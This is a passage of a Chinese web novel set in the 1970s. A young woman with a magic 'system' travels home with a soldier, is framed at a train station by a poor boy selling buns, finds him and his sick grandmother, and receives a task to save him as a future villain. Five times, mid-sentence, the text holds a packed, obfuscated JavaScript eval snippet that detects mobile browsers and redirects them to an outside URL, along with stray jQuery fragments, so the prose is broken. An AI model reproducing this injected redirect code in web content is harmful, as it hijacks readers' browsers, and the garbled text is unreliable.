也不知道自己是睡了多久，脖子感觉都要落枕了。 不对，她刚刚睡着了，而醒来的时候自己好像是…… 程十一的视线瞟向了一旁男人的肩膀。 完犊子了，她刚刚好像是靠着人家兵哥哥的肩膀睡着的。 可是，她明明记得自己是靠着靠背的啊，怎么就倒人家肩膀上了？ 程十一有点脸红，但也就是那么短暂几秒钟的事，更多的不好意思那是不可能的。 她又不是故意的。 再说了，这个顾青要是不愿意，早就可以将她推开了。 既然没推开，那就是他在发挥为人民服务的品德，自己作为群众，那必须得支持对方这样的美好品德啊！ 对，就是这样！ 程十一很快就将靠着人家肩膀睡觉的事抛到了脑后：“顾同志，咱们这次的火车票能买到卧铺不？” 硬座真的是太痛苦了，程十一是真不想再体验一次。 而且这次的火车和之前的知青专列还不一样，根本不会去京城转车。 具体要从哪里转车，她还真不清楚，只盼着能少折腾些。 顾青摇头：“不能，我们只能买硬座。” “那咱们要坐多久？” 程十一用充满希望的小眼神看着顾青，就盼着这男人的嘴里能说出不那么让她绝望的话。 然而，她注定要失望了。 “我们先坐车到晋城，差不多一天一夜，再从晋城转车到你家，要坐两天三夜。” 顾青对于这样的路线倒是很熟悉，几乎没有思考就给出了答案。 结果他的话换来了小姑娘瞪大了一双眼睛，哪怕没说话，可那眼睛里的震惊，绝望已经快要凝成实质。 一天一夜，两天三夜？ 这是什么计量单位？ 程十一委屈，程十一想哭，程十一想作。 “我们从京城转车，这样速度能快一些。” 程十一当即决定，既然不能买到卧铺，那就尽可能的缩短路上的时间。 不等顾青反对，程十一又道：“我里外里就只有十天的假期，你觉得我有那么多时间坐这样长的火车吗？” 顾青：…… 是他的错，他忘了这姑娘的假期只有十天了。 想了想，顾青道：“去京城转车的话，车票会贵一些。” 程十一摆手：“时间就是生命，节省时间，就是保护生命。” 反正她不想坐那两天三夜的火车，想想都觉得头皮发麻。 顾青抿唇，不过也没说反对的话：“行，那等下你在招待所等我，我去买车票。” “行！” 这件事，程十一真不会和顾青抢。 没办法，人家身上的那身衣服可比她这个小知青的身份好用多了。 车到站了，大家陆陆续续的下车。 前面的阮大娘站起身时还不忘回头叮嘱程十一：“闺女，回头大娘去找你哈！” “好嘞！大娘，等秋收后没事了来找我玩，到我们大队直接问新来的小程知青，基本上大家都知道。” 程十一咧嘴笑，笑得那叫一个甜。 而金鱼眼大哥在起身的时候也看向了程十一：“程同志，谢谢你的橘子，我叫郝建设，家就住在公社。回头要是再见面，我请你吃饭。” 这话说得不能说不真心，可他一个大男人也不好说得太直接了，只能是将以后的邀请交给随缘安排。 程十一挥了挥自己的鸡爪子：“好的好的，郝同志，咱们以后有机会再见！” 程十一也没打算和这人有更多的接触，主要是萍水相逢的，又是在这样的年代，万一传出自己和男同志有什么不好的传闻，那可就不美妙了。 郝建设点点头，也摆了摆手，率先朝着前面走去。 程十一和顾青是最后下车的。 车上的行李已经被搬下来大半，至于程十一的麻袋倒是还在车顶上绑着。 顾青顺着梯子爬上去，很快就将麻袋全都搬了下来。 两个人，三个麻袋，一个箱子，就这样朝着不远处的招待所走去。 都有介绍信，也是分开开的房间，再加上顾青那身衣服的加持，所有一切都格外的顺利。 房间不算小了，足足二十几平米，一张单人床，床边是个不大的柜子。 床尾靠着墙面摆着一张桌子和一把椅子。 靠着门口的位置有个洗脸架，上面是一个明显掉漆的搪瓷盆。 屋里没有热水，想要热水就去前台花钱购买。 一分钱一壶热水，但要交一块钱作为暖水壶的押金。 暖水壶的价格可不止一块钱，不过是有这么一个意思而已。 程十一自然不会委屈自己，交了两块钱的押金，两分钱的热水钱，然后一人拿着一个暖水壶就回了自己房间。 虽说商城里有热水卖，可那价格却没有这个便宜啊！ 就算不喝，洗洗脸，擦擦身，泡泡脚还是可以的。 至于顾青同志用不用？ 关她程十一小同志什么事？ 第130章 来抓了来抓了 火车站。 顾青拿着证件和介绍信走向售票窗口。 虽说是秋收时节，但忙的地方是在农村，像是在这火车站这样的地方似乎并没有受到多少影响，依旧有很多人都在排队买票。 看了下时间，顾青决定排队，哪怕他这一身的军装能够带来的便利，他也没有争取。 不过他的出现却吸引了很多目光。 排了还没两分钟时间，顾青就听见有人喊自己的名字，寻着声音的来源看去，就看到了一个熟悉的面孔。 “连长！” 顾青也很高兴，当即就跑了过去，敬了个军礼。 站在顾青面前穿着一身铁路制服的男人也敬了个礼。 “你小子这是回来探亲了？” 男人笑问。 顾青点头：“是，回来探亲。” 男人又看了眼后面排队的人群，以及大家看过来的目光后，对着顾青说道：“走吧，去我办公室坐会儿。” 顾青没意见。 男人名叫齐钢铁，曾经是顾青的连长，后来因伤退伍后分配到了铁路局上班。 两个人到了齐钢铁的办公室，齐钢铁给顾青倒了杯水，顺便问起了顾青要买哪天的票的事。 顾青也没隐瞒，将自己要护送一个知青同志的事说了一遍，只是没说程十一要回去做什么。 齐钢铁也没细问这些，而是反问：“那你们俩这是要从京都转车？” “是。” 顾青双手握着搪瓷水杯，正要询问一下老连长的情况，就听对方说道：“这样，你把证件和介绍信给我，我去帮你买票。” 人家毕竟是在铁路局上班，买票什么的肯定是要比直接在外面买票的人方便很多。 顾青也不是那种会墨守成规的人，更何况眼前这人还是他的老连长，当即就将证件和介绍信，以及车票的钱全都交给了对方。 齐钢铁接过来就出去了，不多时又回来，手里已经没了顾青交给他的东西。 坐下后，齐钢铁这才和顾青聊起了两个人的近况。 时间过去了不到十分钟，有人敲门，人进来时手里拿着顾青的证件和程十一的介绍信，以及四张小卡片一样的车票。 齐钢铁接过来，挥了挥手，示意来人出去，之后才将东西递给顾青：“我让人给你们把全程的票都买了。” 顾青也不意外，笑着道谢，只是在看到车票上的内容后不由得一怔：“连长，这，这是卧铺票。” “对，卧铺票。拿着吧！” 齐钢铁笑呵呵的说道：“你小子可是救过我的命，要不然我那坟头草怕是都有两米高了。” “连长……” 顾青想要打断对方这样的话，可齐钢铁却摆摆手：“别整那些煽情的东西，赶紧收好了。我还有十分钟下班，到时候咱俩一起吃一顿。” 顿了顿，齐钢铁又问：“你护送的那个知青呢？叫过来一起吃饭吧！” 顾青看了下车票上的时间，十一点多的火车，距离现在还有五个多小时时间。 “行，人现在在附近的招待所，我去叫她。” 顾青答应了一起吃饭，但想的却是他来出钱。 至于车票的差价，顾青没提，主要也是知道连长肯定不会收这笔钱，不如就请人吃顿饭。 齐钢铁没意见。 顾青离开了火车站后就赶紧去招待所找程十一。 此时的程十一正在拿着毛巾给自己擦身。 要不是条件不允许，她都想泡个澡了。 虽说也有浴桶，但想到接下来的车程，程十一觉得自己还是别费劲了，擦擦身，泡泡脚，足够了。 谁知她刚擦了一半，就听见有人敲门。 “谁啊？” 程十一快速的抓起衣服往身上穿，心里还在嘀咕谁会来敲门。 完全没想来人会是顾青，毕竟买车票这事应该不会那么快才对……吧？ “是我，顾青。” 顾青的声音从门外传来，程十一穿衣服的动作一顿，很快恢复如常，更加迅速的穿好，这才去开门。 刚刚洗了脸，头发上沾了些水，此时正贴在脸颊两侧。 小姑娘一双大眼睛这会儿正不解的看着自己。 顾青刚刚在门外就听见了屋里的水声，现在再看小姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492116|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上的衣服明显不是白天穿的那一身了，哪里能不明白人家在屋里是在做什么，当即有些尴尬。 清了清嗓子，顾青说道：“车票买好了，不过遇见了我以前的一个老连长，现在距离开车还有五个来小时，连长要找咱们一起吃顿饭，你现在……方便吗？” 程十一是真没想到还能有这样的插曲。 下意识的想要说方便，但又想到顾青的介绍，立刻又摇头：“我不去了，坐了一下午车，我感觉有点累。我带了吃的，就不和你们一起吃了，你吃完了再回来接我就行。” 人家战友重聚，她一个外人跟着过去干什么？ 不够讨人嫌的！ 顾青倒是没想那么多，直接回道：“行，那我再带点吃的回来。” “好。” 程十一挥了挥鸡爪子，直接关门。 门就这样关上了，顾青本来想问对方有没有什么想吃的话都没来得及说出口。 摸了摸鼻子，顾青感觉自己来的时候是真的挺不对劲的。 不和顾青一起吃饭，程十一还真觉得挺开心的。 就是这个时候已经有点晚了，连个逛街的地方都没有，多少有点遗憾。 五个小时，睡觉吧，感觉好像不是很累。 可是不睡觉，自己又能干什么？ 越想，越觉得没意思，连身上也不擦了，程十一直接将自己的东西全都收进系统仓库，接着就出了招待所。 这里是火车站附近，应该可能还有点热闹吧！ 带着这样不确定的猜测，程十一直接去了火车站。 热闹，有点，但不多。 附近也有国营饭店，倒是还在营业，但像是供销社这样的地方就是真的没有开门的了。 程十一走了一圈，觉得没劲，转身就要回招待所躺着，谁知刚一转身，就看到有**叫着“来抓了来抓了！”。 来抓了？ 程十一的精神一震。 是不是可以理解为有人在私下做点小生意，但是有人来检查了呢？ 哎呀妈呀，有热闹啊！ 看，还是不看呢？ 有点小纠结哎！ 第131章 小贼，姑奶奶找到你了 无聊的时候看到有热闹看，难免会有点心动。 但程十一又怕麻烦，万一真牵扯到自己身上了，还真挺不值当的。 就在犹豫的瞬间，程十一感觉有人撞了自己一下。 接着，就感觉自己的手里一沉。 也不知道是谁往自己的手里塞了个布袋子。 黑色的布袋子，里面的东西不算多，份量也不重。 程十一瞪大眼睛。 好家伙，她就是分神犹豫了那么一下下，就这样被人给……栽赃了？ 程十一真是不知道是该骂人还是该**了。 眼看着有带着红色袖箍的人朝着自己这里冲过来，程十一赶紧转身，快速将布兜子收进了系统空间，再若无其事的朝着一旁走去。 “你站住！前面那个穿白底碎花衬衫的女同志，你站住！” 随着这一声喊，程十一下意识的低头看了看自己的衣服。 嗯，很好，她换上的干净衣服就是白底碎花的衬衫。 所以，这是在喊自己咯？ 程十一转身朝着声音来源看去，就看到三个戴着红色袖箍的年轻男人冲到了自己面前，接着，以包围的姿势围住了自己。 程十一眨眨眼，一脸无辜不解：“三位同志，你们这是要干什么？” “你涉嫌投！机！倒！把！现在跟我们走一趟！” 站在程十一面前的男人冷着脸，还有些气喘。 程十一摊手：“我？投！机！倒！把？你们有啥证据吗？捉贼捉赃，总不能你们说什么就是什么吧！” 随着程十一摊手的动作，面前的男人明显怔愣了下，又不死心的看向程十一的挎包。 程十一也注意到了对方的视线，直接大大方方的打开了自己的挎包。 里面有本红色宝书，正是这个时代人手必备一本的。 除了这个外，还有一支钢笔，一个小本子，一条手帕。 除了这些外竟然什么都没有了。 程十一似笑非笑的看着对方：“请问这位同志，我是在投什么机？是这本书，还是这钢笔和本子？” 说着，程十一晃了晃手里的红色本子。 对方一看，脸色一变，当即站直身体，大声说道：“打倒一切牛鬼蛇神！” “永远跟党走！” 程十一也立刻回了一句。 这也是这个时代的特色了，无论是八岁小儿还是八十岁的老太太都会上那么几句。 对方的脸色缓和不少，语气也都没那么强硬了：“同志，对不住，刚刚可能是我们看错了。” “哦，没事，你们也是为群众服务。” 程十一大度的摆摆手，一副不会追究的样子。 不追究？ 那是肯定不可能的！ 只不过不是现在，也不是和这三个人，而是要找找那个塞给自己布袋子的人，那家伙才是罪魁祸首。 虽说现在还不知道布袋子里面装了什么，但可以肯定的是绝对不会是什么好东西。 如果不是自己有系统空间，可以神不知鬼不觉的将东西藏起来，那么现在被抓的人可就是她了，而且还是满身是嘴都解释不清的那种。 三个人差点抓错人，这会儿也不多纠结了，当即就离开，继续抓找其他人。 程十一见他们走远了，这才收回视线，在周围的人群里寻找那个撞了她一下的人。 那人穿着一身黑色衣服。 而此时穿着黑衣服的人还是有很多的，再加上这里的光线也不是很明亮了，想要靠着这一点找到人是真的不现实。 可这却难不倒程十一。 因为刚刚在被撞的时候，程十一闻到了对方身上的中药味。 虽然辨别不出来到底是什么药，可这就是一个很明显的特点了。 程十一状似无意的继续到处溜达，同时仔细辨别着空气里的气味，尤其是路过穿着黑色衣服的人时，会闻得仔细些。 可惜那些人的身上没有中药味，反倒有不少别的奇怪的味道。 就是，很不好闻。 不知不觉中走到了马路另外一侧的一条胡同。 里面可没有路灯之类的东西，显得黑黢黢的。 程十一没兴趣自己勇闯陌生胡同，转身就要离开。 谁知就在此时，胡同里面传出了一阵剧烈的咳嗽声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492117|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许是寻找身上带着中药味的人的关系，程十一现在听见那咳嗽声都会生出怀疑来。 犹豫了下，程十一左右看了看，见没人注意自己，便拿出了手电朝着胡同里面走去。 与此同时，程十一联系了系统：“那袋子里面装了什么？” “杂面馍馍。” 系统的语气里是说不出的嫌弃：“太杂了，甚至还有米糠，啧，这玩意儿咱们商城可不卖。” 程十一听了也有点嫌弃。 掺杂了米糠的杂面馍馍？ 那玩意儿咋下嘴啊？ 当然，如果是上辈子的末世里，能有这样的吃的，那绝对是人间美味的级别。 可是在这个时代里，有了系统后，程十一就是真的没办法接受了。 关键是那人还用这玩意儿做买卖？ 谁家好人会花钱买这东西啊？ 距离那咳嗽的来源越来越近，程十一的脚步反而慢了下来。 这条胡同黑是真的黑，但住户也是真的少。 主要是两侧都没有门，全都是墙。 最近的那扇门就是咳嗽声所在的地方。 一扇单开的木门，看起来也就是一米左右的宽度，应该是后开的一扇门。 咳嗽声透过门板传出，中间还夹杂着一些责备的话语。 不过说话的声音不大，似乎是被刻意压低的。 和声音一起的，还有空气中似有似无的中药味。 程十一精神一震。 小贼，姑奶奶找到你了！ 程十一当即就要抬手拍门，谁知院子里传出了个少年的声音：“奶奶，您消消气，我这就把东西找回来，以后再也不去了。” 有种直觉，说话的这个少年应该就是自己要找的小贼。 程十一也不客气了，直接拍门。 突然的拍门声让屋里的声音瞬间消失，仿佛被按下了静音键。 “谁？” 少年的语气变得警惕。 程十一则是淡淡的说道：“开门，否则，我喊人了。” 只简单的这么一句话，就让院子里的少年脸瞬间惨白。 虽然他没听过这个声音，但他就是心虚。 第132章 我是他朋友，新认识的 门没有立刻被打开，但程十一也不着急，就这么站在门外等着。 足足过了能有两分钟时间，门终于被人从里面打开了。 只一眼，程十一就确定了这小子就是撞自己的那个。 一样的一身黑衣服，个头身量也都能对得上。 要说之前还不是很确定，可随着大门打开，那明显浓了不少的中药味是绝对错不了的。 “同志，你，你有什么事吗？” 少年的声音都带着颤抖，小心翼翼的。 程十一提了提手里的布兜子：“这是你的吧！” 少年在看到熟悉的兜子后，心里就是一沉，不过还是咬牙摇头否认：“不是，你还有什么事吗？没事的话我就要关门了。” 说着还真就要将门关上。 但程十一会让他如愿吗？ 抬起一脚就踹在了门板上。 她的动作突然，对方毫无防备，竟然被重新踹开的门推了个趔趄，最后直接坐在了地上。 借着手电筒的光亮，程十一看到了对方眼睛里的震惊以及恐惧。 嗯，知道怕就好。 程十一就这么大咧咧的进了门，路过那个少年的时候还嗤笑道：“这么点胆子还敢冤枉人，啧！” 话音落，程十一的人已经进了院子。 这院子很小，看起来也就只有十几平米的样子，还被堆放了很多东西。 支楞巴翘的木头树枝树杈，还有一些杂物。 天黑，即便是用手电光扫过去，也看不出到底都有些什么来，好像是一些破损的瓦罐之类的。 对着大门的就只有一间低矮的黄土房，上面的屋顶用的还是稻草。 就这样的房子，程十一也就是在大队里才看到过。 哪怕是到了公社，大家的屋顶也都不再是这样的茅草了。 房子只有一扇窗和一扇门，那窗户和门的尺寸也明显要比正常的房子小很多。 此时屋里又传出了咳嗽声，以及一个老太太气息微弱的招呼声：“谁，谁来了？小城，谁，谁来了啊？” 被叫小城的少年嗖的一下从地上爬起来，连忙冲到程十一面前，双臂张开，一副要挡住程十一的架势。 那双眼睛里全是戒备和紧张，可说出的话倒是很正常：“奶奶，没事，是我一个朋友来找我，我俩说几句话人就走。” “外面冷，让，让人进屋来吧！” 说完又是一阵咳嗽声。 程十一挑挑眉，看着面前的少年：“朋友？做你这样的人的朋友，还真是倒了八辈子血霉了。” 少年的脸明显的红了红，只可惜光线不够，程十一没能看见。 小城深吸一口气，低声恳求道：“同志，对不起，之前都是我的错，你要打要骂都行，就，就是别进屋，别让我奶奶知道，行吗？” 话说到最后，声音里都带出了明显的哽咽。 程十一呵呵一笑，一把推开眼前人，大步朝着屋门走去。 “你……” 小城想要抓住对方，谁知却看到一个黑黢黢的东西朝着自己面门飞过来。 下意识的接住，小城低头一看，这才发现是自己的布兜子。 份量还是和之前塞出去的时候一样，所以，东西还在？ 程十一推门进屋。 那股子中药味更重了，简直可以说是能熏**的程度。 程十一下意识的屏住呼吸，拿出口罩，直接戴好，这才恢复呼吸。 房子不大，甚至都没有隔间。 进门旁边就是一个看起来不太规整的泥炉子，上面坐着一个黑漆漆还破了口的瓦罐。 连接着炉子的就是一个不大的炕。 瞧着也就能睡下两三个人的样子。 此时靠着炕头的墙上坐着个老太太。 这还是因为程十一手里有手电，否则屋里黑漆漆的，还真看不到隐在黑暗中的身影。 “小城奶奶，您好！” 程十一对于这样的老人，倒是多了点和善。 主要是她刚刚也猜出来了些，这位老人病重，但还知道规劝自己的孙子。 这样的人，怎么说呢，就算是坏，但应该也坏不到骨子里去。 程十一也不知道自己为什么要进屋来看看这位老太太，只是心里有一种直觉，应该进来。 就在她的话音落下的瞬间，系统的声音突然在脑海中乍响。 系统：亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492118|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱的主人，恭喜您触发新任务！拯救大反派欧阳城！ 触发……新任务？ 程十一的嘴角猛地一抽。 好家伙，她就说那莫名其妙的直觉是哪里来的，感情是冲着任务来的啊！ 不过，什么叫大反派？ 还有，欧阳城？ 小城？ 程十一下意识的转身看向门口。 那个叫小城的少年已经站在了门口。 “姑娘，你，你是小城的朋友？” 老太太的声音响起了，打断了程十一的思绪，只是那语气里满满的都是不确定。 程十一咧嘴一笑：“昂，今天刚认识的，这不是过来认认门嘛！” 既然是任务……做不做的再说，不过先了解下也不是不行。 门口的欧阳城整个人都像是被雷击中一般。 心里只有一个念头：完了，这个女同志肯定要把事情的经过告诉给奶奶了。 如果真的让奶奶知道了一切，奶奶肯定会生气，甚至可能都不会再吃药了，那怎么行？ “你别……” 欧阳城出声想要阻止程十一，奈何程十一已经开口了：“我今天在火车站见到了小城。” “你不要……” 欧阳城急得汗都冒出来了。 可下一刻，欧阳城的嗓子就像是被人给勒住了一般，什么话都说不出来了。 只听程十一又道：“奶奶，听说您病了，我过来瞧瞧。不过我今天晚上的火车就要走，回头等我回来了，我再来看您哈！” “姑娘，你，你别来了，我们家的成分不好，要是让人瞧见你来了，怕，怕是会影响你。” 老太太说着，那眼泪就扑簌簌的落了下来。 程十一一怔。 她还真是没想到会是这样的。 本来是想让系统再多说点关于任务的事，可是现在老太太都哭了，自己傻站在一旁听系统讲解，这样会不会不太好？ 算了，先不了解了。 程十一：“奶奶，您别想那么多，咱们这胡同安静得很，没人看见我过来。小城，你说是吧？” 突然被点名的欧阳城浑身一个激灵，下意识的附和：“对，对……” 第133章 欧阳城，第一大反派 “我还要赶车，奶奶，那我就先走了哈！回头再来看您。” 程十一也不打算在这里多待了，实在是这中药味太浓，熏得她眼睛都快睁不开了。 老太太赶忙招呼：“小城啊，快送送。闺女啊，谢谢你来看我……” 程十一摆摆手，也不管对方是不是能看见，就这样走出了房子。 路过欧阳城的时候，欧阳城明显得瑟缩了下，甚至还动作迅速的后退两步，将门口的路让了出来。 虽然很不愿意，可欧阳城还是跟着程十一到了大门口。 “那啥，我，我就不送你了。” 欧阳城站在大门口，很是小声的说了这么一句。 程十一却冷笑一声：“让我一个女同志走这么黑的胡同，你不怕被你奶奶知道了生气？” “你！” 欧阳城没想到这人会这样说。 明明这女的刚刚就是自己一个人走进来的吧！ 程十一却搭理他，率先朝着胡同口走去。 欧阳城犹豫了下，到底还是跟上了程十一的脚步。 走到胡同口，程十一停了下来，欧阳城就在距离她不到两米的位置也跟着停下，一脸的心不甘情不愿：“行了吧，我都送你出胡同口了。” “你在火车站那边卖干粮？” 程十一依旧没接对方的话茬，而是主动提问。 欧阳城几乎是下意识的否认：“我不是，我没有，你别瞎说！” 这种时候私下买卖那都是违法的事，对方会有这样的反应一点都不让程十一意外。 程十一继续说道：“这次我是幸运，没被你害死，但是下一次如果换做其他人，你有没有想过如果被抓了对方会有什么样的后果？” 这话问得就很冷了。 程十一也是真的生气，要不是看到那个老太太明显是需要人照顾的份儿上，她现在都恨不能将这小子打成二傻子。 闻言，欧阳城低下头：“对不起，我，我不是故意的，我那时候也是着急。” 这话是他的真心话，他真的没有想要故意害死谁，但他也确实是做了这样的事，无法否认。 程十一嗤笑一声，又道：“还有，就你做的那些玩意儿真的有人买吗？” 掺了米糠的干粮，说真的，都能出来坐火车还敢私下买东西的人了，真的会看上那种食物？ 欧阳城的肩膀又垮了几分，老老实实的摇头：“没有，已经三天了，一个都，都没卖出去。” 果然！ 不等程十一开启嘲讽模式，就听欧阳城哽咽说道：“可是我也没办法了，家里就只有这点吃的，如果再不换点钱回来，我奶奶她，她就没有药可以吃了。” 程十一手里的手电光一直照着地面，这会儿刚好是照在了欧阳城面前的空地上。 也正是因为这样，程十一看到了这个少年那双破旧的棉鞋前面地面上突然多了两个暗色的点。 接着，那暗色的点又多了两个。 面前的少年肩膀在抖，明显是在哭，但又隐忍着不肯发出哭声。 这样的画面挺感人的，但程十一却没有太多的心软。 “你做错事了就是做错事了。这件事我会记下，等我回来后，我会找你算账。” 程十一说完，从自己的挎包里拿出了个不大的布包塞到了对方怀里：“你最好不要想着跑路，否则等我回来发现找不到你了，我会直接报案。” “你……” 欧阳城看着自己怀里多出来的布包，又抬头看向程十一。 那双满是水光的眼睛里带着浓浓的不解。 程十一冷笑：“吊着你奶奶那条命，这样你就不会乱跑了。最晚十天我就会回来，到时候咱们再好好算算账。” 说着，程十一还活动了一下手腕：“你最好祈祷着十天里你的身体素质能提高些，否则如果被我打**，你也只能认栽。” 说完，程十一转身离开。 麻蛋，太冷了。 外面冷，屋里更冷。 真是入秋了，太阳一落山，这气温下降的速度不是一般的快啊！ 看着那抹瘦小的身影就这样越走越远，欧阳城好半天才回过神来。 家里没有光亮，胡同里也没有。 不过出了胡同后没多远就有一个路灯，光线不算明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492119|170163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮。 但因为这会儿路上没什么人的关系，欧阳城这才大着胆子抱着布包朝着路灯走过去。 借着路灯昏黄的光，欧阳城打开了布包。 布包只有一个巴掌大小，里面放着的是一沓**票，以及一些票据。 欧阳城的眼睛瞬间瞪得老大。 这是钱。 虽然都是**票，可数量可不少。 欧阳城几乎是第一时间就将布包重新抱在了怀里，还警惕的朝着四周看了看。 确定四周是真的没有人，欧阳城这才小心翼翼的将布包重新打开，将里面的**票清点了一遍，十块钱，足足十块钱。 至于票据，除了粮票外，竟然还有肉票、油票和鸡蛋票。 虽说数量都不算多，但只要有了这些，奶奶吃的药有着落了不说，甚至还能买些肉和鸡蛋回来给奶奶补身体。 意识到这是那个瘦弱的小姑娘特意给自己的，欧阳城的眼泪再次啪嗒啪嗒的落了下来。 重新回到胡同口，对着程十一离开的方向，哪怕那里早就已经没有了那人的身影，欧阳城也还是跪了下去，重重的磕了三个响头，这才抱着布包，像是抱着这个世界上最珍贵的东西，一路小跑着回到了自己家。 而早就已经回到大路上，沿着路边朝着招待所走的程十一正在听系统的讲述。 拯救大反派欧阳城任务。 欧阳城，某本年代文里的第一大反派。 因为祖上的成分问题，在那一场大清洗中，父母为了保全家里的老人和幼小的他，选择了登报断亲，之后被下放。 尽管已经登报断亲，可祖孙三人的日子却并没有变得好过，相反的，因为他们的成分问题，有很长一段时间都是在被批中度过的。 除了被批外，爷爷奶奶还要去收拾公厕，清扫街道。 爷爷为了护住老妻和孙子，每次被批都是他挡在最外面，结果没用两年人就没了。 家里只剩下了奶奶和欧阳城。 老太太的身体也是日渐衰败，哪怕欧阳城再怎么努力也没能让老太太活到全家人洗清冤屈、重见天日的那一天。 第134章 你的就是我的，我的还是我的 黑暗终于过去，黎明即将到来。 欧阳城终于等到了父母回来的日子，可是等回来的却只有父亲一个人。 母亲早就已经去世，而父亲的情况也并不好，残了一条腿，身上也有不少问题，只撑了不到两年人也走了。 也就是在这不到两年的时间里，欧阳城从父亲嘴里得知了母亲去世的真相。 是母亲被人玷污，跳河自尽了。 父亲为了给母亲报仇，这才会沦落成如此地步。 欧阳城彻底黑化了。 他混迹黑市起家，洗白后却以商人的身份找到了父母下乡的大队签订合同，结果却在合同里挖了陷阱，直接让整个大队都赔了不少钱。 除此之外，他还设计下毒之类的种种，最终让整个大队的人全都患上了重病。 一时间，那里被传出了很多传闻。 后来还是在男女主的帮助下，发现了真相，并且因为帮助那个大队的人报仇，将欧阳城直接送进监牢，最后更是吃了花生米，从而赢得了一片赞扬之声。 听完了系统的讲述，程十一很是不解：“统统，既然他是大反派，最后还被男女主给嘎了，那么，男女主是谁？” 系统突然卡壳。 好一会儿，系统才幽幽反问：“主人，难道你现在关注的不应该是如何拯救欧阳城吗？” 程十一撇嘴：“我不是已经拯救他了吗？” 系统震惊：“你啥时候拯救了？” “我刚刚可是借给他十块钱，还有不少票据呢！” 程十一说得那叫一个理直气壮。 也就是她现在手里不差那点钱和票，要不然她还真不会考虑做这个任务。 系统更震惊了：“不是，等下！主人，咱们好好捋捋，你刚刚给出的那十块钱和票明明是统统我出的啊！” 程十一毫不心虚的反驳：“你是我的系统，你出的东西就等于是我出的东西！怎么着，你还想和我分开不成？” 系统沉默。 好吧，这个解释，它接受了。 系统不吱声了，可程十一却来了兴致：“我说统统啊，你这个系统居然也有钱和票，不如你说说你还有多少呗！你看你主人我都穷成啥样了，要早知道你能拿的出钱和票，你主人我是不是就能多吃点好吃的，多补补身体了？” 这个还真是程十一从来都没想过的事，刚刚系统突然提醒她有任务道具交给欧阳城时，她是真的有被意外到。 薅羊毛这种事，真的是一次薅，一次爽，一直薅，一直爽，很容易让人上瘾。 就比如现在，她有点上瘾，哪怕只是薅了一次。 “主人，你不能这样。” 系统都快哭了：“那个是任务物品，需要触发相关的任务才有可能出现的道具。而且如果主人你没有在规定的时间内将任务道具使用到正确地方，那么任务道具就会消失。” 这下轮到程十一沉默了。 好家伙，居然还有这么变态的设定！ 麻蛋的，没薅成功，不开心！ 和系统斗着嘴，程十一也回到了招待所。 看看时间，已经八点多了。 也不知道顾青什么时候回来，程十一有点无聊，就想着躺床上逛商城熬时间。 谁知她刚躺下，就有人来敲门。 来人是顾青。 整个人看起来不像是喝过酒的样子，手里还提着个网兜，里面放着两个饭盒，饭盒上面还有个油纸包。 “这是给你带的饭菜，不是剩饭剩菜，饭菜上来后先给你装的。上面是馒头，你先吃一口。” 顾青也没进屋，就站在门外，将网兜递给程十一：“我十点半过来叫你，你吃完饭可以休息下。” “哦，谢谢啊！” 程十一接过网兜，道了谢，见对方转身，这才将门关上。 饭盒还是热乎的，就连油纸包里的馒头也都是带着温度。 馒头是二合面的馒头，不是纯白的，里面夹杂着玉米面的黄。 两个饭盒里装了四种菜。 红烧鱼和红烧肉放在了一个饭盒里，鱼是鱼肚子肉，红烧肉也是颤巍巍的，看着就很好吃。 另外一个饭盒里则是放着炒土豆丝和白菜炒木耳。 程十一原本不饿，可是看着那红烧肉就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 